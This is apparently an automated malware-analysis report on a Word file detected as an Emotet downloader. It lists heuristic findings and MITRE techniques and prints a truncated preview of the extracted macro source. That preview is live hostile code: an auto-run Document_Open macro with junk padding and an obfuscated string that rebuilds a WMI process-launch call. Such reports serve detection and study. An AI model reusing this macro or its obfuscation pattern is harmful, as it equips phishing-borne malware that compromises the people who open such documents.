MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The obfuscated VBA code suggests an attempt to hide its malicious functionality, likely to download and execute a second-stage payload. The ClamAV detection as 'Doc.Downloader' further supports this assessment.
Heuristics 7
-
ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13575 bytes |
SHA-256: 53e7c3ae3329a96f6b6d5469949b0af86923f418ff709177e418efd7d8587856 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Nttxls017fdo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ra1ey_5cnuhh.Vqpkfa6agtsuhrw5gn
End Sub
Attribute VB_Name = "Ra1ey_5cnuhh"
Attribute VB_Base = "0{6FB2201F-E6C1-4FFF-B318-A9D2781585EE}{C49BD445-AD8B-4EB2-B6CB-1A8D5B0F1921}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Vqpkfa6agtsuhrw5gn()
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Dmr5nl6mp6hoo5il = 100
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Nb2hbtnjlhb = ChrW(Dmr5nl6mp6hoo5il + (yyyy + 5 + bbbbb + 10))
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Jngtyszua2inf04rh = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Nb2hbtnjlhb + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Ra1ey_5cnuhh.Xeada0fuay41kgjckm + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Qpz35vclx6_ = B5el_cmgfti18k(Jngtyszua2inf04rh)
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
On Error Resume Next
Select Case tjbJ6i4
Case 60
N
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.